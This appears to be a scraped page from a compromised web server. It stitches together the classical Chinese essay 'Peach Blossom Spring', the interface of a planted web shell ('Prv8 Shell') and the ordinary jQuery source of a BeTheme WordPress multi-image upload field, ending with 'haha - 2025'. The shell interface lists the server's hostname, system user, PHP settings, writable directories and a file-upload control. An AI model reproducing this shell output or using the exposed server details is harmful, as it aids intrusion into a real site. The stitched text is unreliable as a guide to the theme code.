晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/setupTZh/betheme/muffin-options/fields/upload_multi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/rainic/public_html/setupTZh/betheme/muffin-options/fields/upload_multi/field_upload_multi.js
(function($) {

  /* globals jQuery, wp */

  "use strict";

  var MfnUploadMulti = (function() {

    var group = '.form-group.browse-image.multi ';

    var multiFileFrame, multiFileFrameOpen, multiFileFrameSelect, handle,
      selector = '.browse-image.multi';

    /**
     * Attach events to buttons. Runs whole script.
     */

    function init() {

      openMediaGallery();
      attachRemoveAction();
      attachRemoveAllAction();

      uiSortable();

    }

    /**
     * UI Sortable Init
     */

    function uiSortable() {

      // TODO: when you add images to new item sortable won't init

      $(document).on('mfn:builder:edit', function( $this, modal ){

        var $el = $('.browse-image.multi .gallery-container', modal),
          $parent = $el.closest(selector);

        if ( $el.length ) {

          // init sortable

          if ( ! $el.hasClass( 'ui-sortable' ) ) {
            $el.sortable({
              opacity: 0.9,
              update: function() {
                fillInput( $parent, findAllIDs( $parent ) );
              }
            });
          }

          // enable inactive sortable

          if ( $el.hasClass( 'ui-sortable-disabled' ) ) {
            $el.sortable( 'enable' );
          }

        }

      });

      $(document).on('mfn:builder:close', function( $this ){

        $('.gallery-container.ui-sortable').sortable('destroy');

      });

    }

    /**
     * Click | Add
     */

    function openMediaGallery() {

      $('.mfn-ui').on('click', group + '.mfn-button-upload', function(e) {

        event.preventDefault();

        handle = this;

        // Create the media frame

        multiFileFrame = wp.media.frames.mfnGallery = wp.media({
          multiple: 'add',
          library: {
            type: 'image',
          }
        });

        // Attach hooks to the events

        multiFileFrame.on('open', multiFileFrameOpen);
        multiFileFrame.on('select', multiFileFrameSelect);

        multiFileFrame.open();

      });

    }

    /**
     * WP Media Frame | Open
     */

    multiFileFrameOpen = function() {

      var parent = handle.closest(selector),
        library = multiFileFrame.state().get('selection'),
        images = $('.upload-input', parent).val(),
        imageIDs;

      if (!images) {
        return true;
      }

      imageIDs = images.split(',');

      imageIDs.forEach(function(id) {
        var attachment = wp.media.attachment(id);
        attachment.fetch();
        library.add(attachment ? [attachment] : []);
      });
    };

    /**
     * WP Media Frame | Select
     */

    multiFileFrameSelect = function() {

      var parent = handle.closest(selector),
        gallery = $('.gallery-container', parent),
        library = multiFileFrame.state().get('selection'),
        imageURLs = [],
        imageIDs = [],
        imageURL, outputHTML, joinedIDs;

      gallery.html('');

      library.map(function(image) {

        image = image.toJSON();
        imageURLs.push(image.url);
        imageIDs.push(image.id);

        if (image.sizes.thumbnail) {
          imageURL = image.sizes.thumbnail.url;
        } else {
          imageURL = image.url;
        }

        outputHTML = '<li class="selected-image">' +
          '<img data-pic-id="' + image.id + '" src="' + imageURL + '" />' +
          '<a class="mfn-option-btn mfn-button-delete" data-tooltip="Delete" href="#"><span class="mfn-icon mfn-icon-delete"></span></a>' +
        '</li>';

        gallery.append(outputHTML);
      });

      joinedIDs = imageIDs.join(',').replace(/^,*/, '');
      if (joinedIDs.length !== 0) {
        $(parent).removeClass('empty');
      }

      fillInput(parent, joinedIDs);
    };

    /**
     * Click | Remove single
     */

    function attachRemoveAction() {

      $('.mfn-ui').on('click', group + '.mfn-button-delete', function(e) {

        event.preventDefault();

        var parent = $(this).closest(selector),
          joinedIDs;

        $(this).closest('.selected-image').remove();

        joinedIDs = findAllIDs(parent);

        if (joinedIDs === '') {
          parent.addClass('empty');
        }

        fillInput(parent, joinedIDs);

      });

    }

    /**
     * Click | Remove all
     */

    function attachRemoveAllAction() {

      $('.mfn-ui').on('click', group + '.mfn-button-delete-all', function(e) {

        event.preventDefault();

        var parent = $(this).closest(selector);

        parent.addClass('empty');

        $('input', parent).val('').trigger('change');
        $('.gallery-container', parent).html('');

      });

    }

    /**
     * Helper method. Find all IDs of added images.
     * @method findAllIDs
     * @return {String}		joined ids separated by `;`
     */

    function findAllIDs( parent ) {
      var imageIDs = [],
        id;

      $('.gallery-container img', parent).each(function() {
        id = $(this).attr('data-pic-id');
        imageIDs.push(id);
      });

      return imageIDs.join( ',' );
    }

    /**
     * Helper method. Set the value of image gallery input.
     * @method fillInput
     * @param  {String} joinedIDs - string to be set into input
     */

    function fillInput( parent, joinedIDs ) {

      $('.upload-input', parent)
        .val( joinedIDs )
        .trigger('change');
    }

    /**
     * Return
     * Method to start the closure
     */

    return {
      init: init
    };

  })(jQuery);

  /**
   * $(document).ready
   * Specify a function to execute when the DOM is fully loaded.
   */

  $(function() {
    MfnUploadMulti.init();
  });

})(jQuery);

haha - 2025